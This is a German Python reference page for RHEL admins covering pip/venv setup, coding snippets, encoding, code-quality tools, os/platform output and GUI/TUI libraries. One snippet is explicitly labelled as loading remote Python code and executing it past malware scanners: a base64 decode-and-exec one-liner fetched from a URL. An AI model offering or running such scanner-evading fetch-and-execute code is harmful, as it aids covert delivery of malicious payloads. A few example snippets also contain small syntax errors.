Python

Siehe auch

Konventionen

  • var_name_lowercase

  • function_name_lowercase()

  • CONST_UPPERCASE

  • ClassMixedCase

Links

Installation von Python 2 vs Python 3

Zu einer sauberen Python-Umgebung gehören

  • der Python-Interpreter

  • die Möglichkeit, pro Projekt virtuelle Environments zu nutzen (Installation von Python-Paketen per yum/dnf ist nicht nötig)

  • der Paket-Manager pip, der die auf PyPi veröffentlichten Pakete installiert (auf die Alternative easy_manager wird nicht eingegangen)

Tipp

Warum ein VirtualEnv?

Das Ausführen von pip als ‚root‘-Benutzer kann zu fehlerhaften Berechtigungen und Konflikten mit dem Paket-Manager führen. Es wird empfohlen, stattdessen eine virtuelle Umgebung zu verwenden.

Python 2 auf RHEL 7

  • Python 2.7 ist vorinstalliert

  • venv: yum -y install python-virtualenv

  • pip: theoretisch im EPEL-Repo vorhanden; siehe aber besser Abschnitt „venv, pip und Python 2“

Python 3 auf RHEL 7

  • Python 3 ist nicht vorinstalliert

  • Python: yum -y install python3

  • venv: wird mit Python 3 mitinstalliert

  • pip: wird mit Python 3 mitinstalliert

Python 2 auf RHEL 8

  • Python 2 ist nicht vorinstalliert

  • Python: dnf -y install python2

  • venv: dnf -y install python2-virtualenv

  • pip: wird mit Python 2 mitinstalliert (pip2). Kein pip install --upgrade pip ausführen, siehe Abschnitt „venv, pip und Python 2“

Python 3 auf RHEL 8

  • Python 3 ist nicht vorinstalliert

  • Python: dnf -y install python3

  • venv: wird mit Python 3 mitinstalliert

  • pip: wird mit Python 3 mitinstalliert (pip3)

Tipp

Ein virtuelles Environment enthält

  • Shell-Skripte für Bash, Korn-Shell, Fish und PowerShell, um Umgebungsvariablen wie Pfadangaben richtig zu setzen

  • Eine venv setzt python und pip passend und genau beispielsweise auf python2 und pip2

  • Red Hat empfiehlt, auf System-Ebene ausserhalb einer Virtualenv unbedingt den „vollen“ Befehl zu verwenden, also entweder python2 oder python3, genau so wie pip2 oder pip3.

venv, pip und Python 2

pip gehört nicht zum Python-Projekt und unterstützt Python 2 nicht mehr. Ein pip install --upgrade pip wird pip daher zum Umgang mit Python Version 3 verdonnern. Um das letzte aktuelle pip für Python 2 zu erhalten, installiert man es in jeder Python 2-venv wie folgt:

# make your virtualenv folder with python2
virtualenv-2 --python=python2 /opt/my-venv/
source /opt/my-venv/bin/activate
pip --version

# now install your python2 packages as usual
pip install mypackage

venv, pip und Python 3

# create my venv
python3 -m venv /opt/my-venv

# activate my venv
source /opt/my-venv/bin/activate

# upgrade pip in my venv
pip install --upgrade pip

# install any tool in my venv
pip install glances
pip install "borgbackup==1.1.11"

Tipp

Wer die letzte verfügbare pip-Version für Python2 einsetzen möchte, diese aber nicht über den Paketmanager erhält, kann diese in der venv wie folgt aktualisieren:

# get and install latest oldest pip for python2 (20.3.4)
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python get-pip.py

Python-Interpreter und -Compiler

Interpreter:

  • CPython

  • PyPy

Compiler (erstellt Executables, also .so oder .exe):

Frameworks

  • Django

  • Flask

  • Flask mit Flask-RESTPlus für REST-APIs

  • Quart (kompatibel zu Flask, basiert aber auf Asyncio)

Webserver mit Python

Hilft zum Beispiel, um mal schnell die /root/anaconda-ks.cfg per HTTP anzubieten. index.html-Dateien werden automatisch als DirectoryIndex verwendet.

python2 -m SimpleHTTPServer 8080 python3 -m http.server 8080

Coding

Variablen

String über mehrere Zeilen:

st = 'first line'
     'second line'

Längere Textpassage:

st =  = """
Lorem ipsum.
Lorem ipsum.
"""

Prüfen auf Typ:

if isinstance(var, dict):

„if x is not y“ oder „if x not is y“? Spielt keine Rollen, am lesbarsten aber ist:

.. code-block:: python

x is not y

Alle Elemente einer Liste als einzelne Argumente in eine Funktion:

fruits = ['lemon', 'pear', 'watermelon', 'tomato']
myfunc(*fruits)

Dictionary-Elemente an Funktion:

mysql_connection = {
    'user':               args.USERNAME,
    'password':           args.PASSWORD,
    'host':               args.HOSTNAME,
    'database':           args.DATABASE,
    'raise_on_warnings':  True
}
cnx = mysql.connector.connect(**mysql_connection)

Schleifen

# list (array)
# value only:
for value in data:
# index only:
for idx in range(len(data)):
# value and index:
for idx, value in enumerate(data):

# dict (associative array)
for key in data.keys():
for value in data.values():
for key, value in data.items():

Exception Handling

Beispiele:

  • except:: No exception type(s) specified (bare-except)

  • except Exception as e:: Catching too general exception Exception (broad-except)

  • except ValueError:: int('a')

  • except IndexError:: a[1]

  • except OSError:: sehr allgmeiner Fehler der os-Class, bei z.B. os.listdir('/')

  • except FileNotFoundError:: spezifischer Fehler der os-Class, bei z.B. os.listdir('/')

  • except KeyError, AttributeError:: Mehrere Exceptions auf einmal abhandeln

Nützliche Code-Schnipsel

Dateipfade richtig zusammenbauen:

os.path.join(path, filename)

Import von Modulen:

try:
    import psutil # pylint: disable=C0413
    HAVE_PSUTIL = True
except ImportError:
    HAVE_PSUTIL = False

Python-Code remote laden und an Malware-Scannern vorbei ausführen:

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-code/py.b64')
    ).decode())"

Prozentausgabe auf einer Line:

Python 3
# progress bar
if count == 0:
    increase = 100
else:
    increase = 100 / count
progress = 0


loop:
    # do something
    print('Status: ', round(progress), '%       ', end='\r')
    progress += increase

Kopiere CSV-Datei 1 selektiv nach CSV-Datei 2:

import csv

with open('/tmp/tarifpositionen-20191023.csv', 'r') as csvin, open('/tmp/testout.csv', 'w') as csvout:
    csvin = csv.reader(csvin, delimiter=',', quotechar='"')
    csvout = csv.writer(csvout, delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL)
    cnt = 0
    for row in csvin:
        cnt += 1
        if row[0] != '129722558':
            csvout.writerow(row)
    print(cnt)

cmd1 | cmd2 | cmd3 in Python - Replacing shell pipeline:

import subprocess

p1 = subprocess.Popen(["dmesg"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["grep", "too"], stdin=p1.stdout, stdout=subprocess.PIPE)
p3 = subprocess.Popen(["grep", "2500"], stdin=p2.stdout, stdout=subprocess.PIPE)
p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
p2.stdout.close()  # Allow p2 to receive a SIGPIPE if p3 exits.
output = p3.communicate()[0]

Encoding, Decoding, Unicode, UTF-8

Strings:

  • Python 3:
    my_bytes = b"Under my Umbrella" (Class „bytes“)
    my_string = "Under my \u2602" (Class „str“)
  • Python 2 - str kann Text und Bytes beinhalten:
    my_string = "Under my Umbrella" (Type „str“, stores Bytes)
    my_unicode = u"Under my \u2602" (Type „unicode“, stores Code-Points)

Encode und Decode unter Python 3:

  • string.encode() == lib.txt3.to_bytes()

  • bytes.decode() == lib.txt3.to_text()

  • Keine implizite Dekodierung mehr. Ein Unicode-String ist ungleich einem Byte-String, selbst wenn beide den gleichen ASCII-Text beinhalten.

Bemerkung

Python 2: unicode.encode() ergibt Bytes, bytes.decode() ergibt Unicode. len(unicode) zählt die Anzahl der Zeichen, len(bytes) zählt die Anzahl der Bytes. Output ist immer in Bytes. Python 2 versucht automatisch, Byte-Strings zu decodieren. Der format()-Befehl liefert „str“, wenn ihm kein Unicode-String übergeben wird.

Umgang damit:

  1. Input in das eigene Programm: Bytes

  2. So früh wie möglich in Unicode dekodieren.

  3. Mit Unicode arbeiten.

  4. So spät wie möglich in Bytes enkodieren.

  5. Output: Bytes

  6. Debugging: print type(myvar), print repr(myvar)

Siehe auch:

Code Qualität

Syntax-Check:

python -m py_compile script.py

Automatische Code-Formatierung:

dnf install python3-black
black --line-length 100 script.py

Struktur prüfen: pylint. Brauchbare pylint.rc: https://google.github.io/styleguide/pylintrc

pylint --disable=C0103,C0114,C0116 script.py

Auf Sicherheitslücken prüfen: bandit

pip install bandit
bandit --recursive my-script

Pre-commit Hooks für Git:

Ausführungszeiten messen

import time

start = time.time()
print("hello")
end = time.time()
print(end - start)

pydoc

pydoc -b ./mymodule.py
  • ohne Parameter: öffnet eine Dokumentation im Terminal

  • -w: speichert die Dokumentation als html

  • -k <Begriff>: nach einem Begriff suchen

  • -p <Port>: startet lokalen HTTP Server

  • -n <hostname>: der HTTP Server hört auf den Namen

  • -b: startet den Server und öffnet die Seite im Browser

Module

Liste an Modulen:

  • MySQL/MariaDB: MySQLdb (wird auch in Ansible-Modulen verwendet)

Modul B importieren, wenn Modul A nicht verfügbar ist:

try:
    # https://pymysql.readthedocs.io/en/latest/
    import pymysql as mysql_driver
    _mysql_cursor_param = 'cursor'
except ImportError:
    try:
        import MySQLdb as mysql_driver
        import MySQLdb.cursors
        _mysql_cursor_param = 'cursorclass'
    except ImportError:
        mysql_driver = None

BeautifulSoup

Verarbeitung von Auszeichnungssprachen wie HTML und XML.

https://www.crummy.com/software/BeautifulSoup/bs4/doc/

from bs4 import BeautifulSoup
import re

with open("lfs.html") as fp:
    soup = BeautifulSoup(fp, 'html.parser')

for tag in soup.find_all():
    try:
        if 'sect2' in tag.attrs['class']:
            if tag.string:
                print('\n# {}\n'.format(tag.string.strip()))
    except:
        continue

    try:
        if tag.name == 'kbd':
            print('{}\n'.format(tag.string.strip()))
    except:
        continue

os


>>> import os
    >>> os.ctermid()
    '/dev/tty'
    >>> os.curdir
    '.'
    >>> os.defpath
    ':/bin:/usr/bin'
    >>> os.devnull
    '/dev/null'
    >>> os.environ
    {'LC_NUMERIC': 'de_CH.UTF-8', 'PROCESSES': '117', 'LESSOPEN': '||/usr/bin/lesspipe.sh %s', 'SSH_CLIENT': '1.2.3.4 57484 22', 'SELINUX_USE_CURRENT_RANGE': '', 'LOGNAME': 'root', 'USER': 'root', 'ZOMBIES': '0', 'HOME': '/root', 'LC_PAPER': 'de_CH.UTF-8', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin', 'PS1': '[\\[\\033[1;32m\\]$(date +%H:%M:%S) \\u@\\h \\w\\[\\033[0m\\]]$ ', 'LANG': 'en_US.UTF-8', 'TERM': 'xterm-256color', 'SHELL': '/bin/bash', 'LC_MONETARY': 'de_CH.UTF-8', 'HISTSIZE': '100000', 'EDITOR': 'nano', 'XMODIFIERS': '@im=ibus', 'XDG_RUNTIME_DIR': '/run/user/0', 'SHLVL': '1', 'SELINUX_ROLE_REQUESTED': '', 'XDG_SESSION_ID': '1851', '_': '/usr/bin/python2', 'SSH_CONNECTION': '1.2.3.4 57484 192.168.1.10 22', 'SSH_TTY': '/dev/pts/0', 'HOSTNAME': 'myhostname', 'SELINUX_LEVEL_REQUESTED': '', 'HISTCONTROL': 'ignoredups', 'LC_MEASUREMENT': 'de_CH.UTF-8', 'PWD': '/root', 'MAIL': '/var/spool/mail/root', 'LC_TIME': 'de_CH.UTF-8', 'LS_COLORS': 'rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13:*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:'}
    >>> os.getcwd()
    '/root'
    >>> os.getegid()
    0
    >>> os.geteuid()
    0
    >>> os.getgid()
    0
    >>> os.getgroups()
    [0]
    >>> os.getloadavg()
    (0.16, 0.26, 0.15)
    >>> os.getlogin()
    'root'
    >>> os.getpgrp()
    18108
    >>> os.getpid()
    18108
    >>> os.getppid()
    18031
    >>> os.getresgid()
    (0, 0, 0)
    >>> os.getresuid()
    (0, 0, 0)
    >>> os.getuid()
    0
    >>> os.linesep
    '\n'
    >>> os.name
    'posix'
    >>> os.pardir
    '..'
    >>> os.pathconf_names
    {'PC_MAX_INPUT': 2, 'PC_VDISABLE': 8, 'PC_SYNC_IO': 9, 'PC_SOCK_MAXBUF': 12, 'PC_NAME_MAX': 3, 'PC_MAX_CANON': 1, 'PC_PRIO_IO': 11, 'PC_CHOWN_RESTRICTED': 6, 'PC_ASYNC_IO': 10, 'PC_NO_TRUNC': 7, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_PIPE_BUF': 5, 'PC_PATH_MAX': 4}
    >>> os.pathsep
    ':'
    >>> os.pipe()
    (3, 4)
    >>> os.sep
    '/'
    >>> os.times()
    (0.0, 0.0, 0.0, 0.0, 5146806.87)
    >>> os.uname()
    ('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64')

platform

>>> import platform
>>> platform.machine()
'x86_64'
>>> platform.node()
'myhostname'
>>> platform.processor()
'x86_64'
>>> platform.python_branch()
''
>>> platform.python_build()
('default', 'Nov 16 2020 22:23:17')
>>> platform.python_compiler()
'GCC 4.8.5 20150623 (Red Hat 4.8.5-44)'
>>> platform.python_implementation()
'CPython'
>>> platform.python_revision()
''
>>> platform.python_version()
'2.7.5'
>>> platform.python_version_tuple()
('2', '7', '5')
>>> platform.release()
'3.10.0-1160.31.1.el7.x86_64'
>>> platform.system()
'Linux'
>>> platform.uname()
('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64', 'x86_64')
>>> platform.version()
'#1 SMP Thu Jun 10 13:32:12 UTC 2021'

Das Klassenkonzept

#!/usr/bin/env python3
# -*- encoding: utf-8; py-indent-offset: 4 -*-
#
# Author:  Linuxfabrik GmbH, Zurich, Switzerland
# Contact: info (at) linuxfabrik (dot) ch
#          https://www.linuxfabrik.ch/
# License: The Unlicense, see LICENSE file.

__author__ = 'Linuxfabrik GmbH, Zurich/Switzerland'
__version__ = '2020122901'


class bottle:

    # attributes, also usable in sub-classes, except private ones
    material_public     = 'Plastic (public)'
    _material_protected = 'Plastic (protected)'
    __material_private  = 'Plastic (private)'

    # constructor
    def __init__(self, color):
        self.color_public =  '{} (public)'.format(color)
        self._color_protected = '{} (protected)'.format(color)
        self.__color_private = '{} (private)'.format(color)

    # methods
    def take(self):
        print('Taking...')

        print('{}'.format(self.material_public))
        print('{}'.format(self._material_protected))
        print('{}'.format(self.__material_private))

        print('{}'.format(self.color_public))
        print('{}'.format(self._color_protected))
        print('{}'.format(self.__color_private))


class big_bottle(bottle):

    # constructor
    def __init__(self, color):
        # you will lose all attributes defined in __init__ from class bottle
        # if you define a new constructor for this class
        pass

    def take(self):
        print('Taking...')

        print('{}'.format(self.material_public))
        print('{}'.format(self._material_protected))

        # this attribute is only accessible in its own class
        # print('{}'.format(self.__material_private))

        # would be accessible if you don't define a new constructor here
        # print('{}'.format(self.color_public))
        # print('{}'.format(self._color_protected))

        # this attribute is only accessible in its own class
        # print('{}'.format(self.__color_private))


# main
beer = bottle(color='brown')

beer.material_public = 'Glass (public)'
beer._material_protected = 'Glass (protected)'
beer.__material_private = 'Glass (private)'

beer.take()

# Output:
# Taking...
# Glass (public)
# Glass (protected)
# Plastic (private)
# brown (public)
# brown (protected)
# brown (private)

water = big_bottle('blue')

water.take()

# Output:
# Taking...
# Plastic (public)
# Plastic (protected)

GUI, TUI

GUI-Bibliotheken

Gtk
Qt
  • PyQt: Interface zu QT

  • PySide2: Interface zu QT

    • /usr/local/lib64/python3.9/site-packages/PySide2/examples

Links zur Erstellung von Dialogen mit Qt Designer und Python:

Tk
  • TKinter: Interface zu Tcl/Tk (Python Standard GUI - für einfachste Dinge)

TUI-Anwendung mit SnackScreen

#!/usr/bin/env python

from snack import *
screen = SnackScreen()

lbox = Listbox(height = 5, returnExit = 1)
lbox.append("Fedora", 1)
lbox.append("Red Hat Enterprise Linux", 2)
lbox.append("Ubuntu", 3)
lbox.append("Slackware", 4)
lbox.append("RHEL", 5)

grid = GridForm(screen, "Select your favorite distro", 1, 1)
grid.add(lbox, 0, 0)
result = grid.runOnce()

screen.finish()

#print "listbox:", lbox.current()
if lbox.current() == 1:
   print "Selected Fedora!"
elif lbox.current() == 2:
   print "Selected Red Hat Enterprise Linux!"
elif lbox.current() == 3:
   print "Selected Ubuntu!"
elif lbox.current() == 4:
   print "Selected Slackware!"
elif lbox.current() == 5:
   print "Selected RHEL!"

Die Vorbilder liegen auf RHEL 7 nach der Installation mit yum list system-config* im Verzeichnis /usr/share/system-config-* - und zwar im Python-Quelltext. Die Dokumentation zu SnackScreen findet sich in der Datei /usr/lib64/python2.7/site-packages/snack.py. SnackScreen selbst basiert auf newt, einer in C-geschriebenen Window- und Widget-Library von Red Hat. Deren Doku erhält man nach einem yum -y install newt-devel; die Datei /usr/share/doc/newt-devel/tutorial.txt bietet einen umfassenden Einblick.

PyGTK und Glade

  • ComboxBox: auf Basis eines Models; die ID sollte vom Typ String sein.

  • ComboBoxText: reine Auflistung von Text-Einträgen, hinter denen eine str(ID) steht. Benötigt kein Model, bietet keine Text-Eingabemöglichkeit.

  • ComboBoxEntry: eine ComboBox mit Text-Eingabefeld gab es in GTK 2 noch, aber nicht mehr in GTK 3. In GTK 3 eine „ComboBox“ mit Eigenschaft „Has Entry“ wählen.

Siehe:

Built on 2022-06-03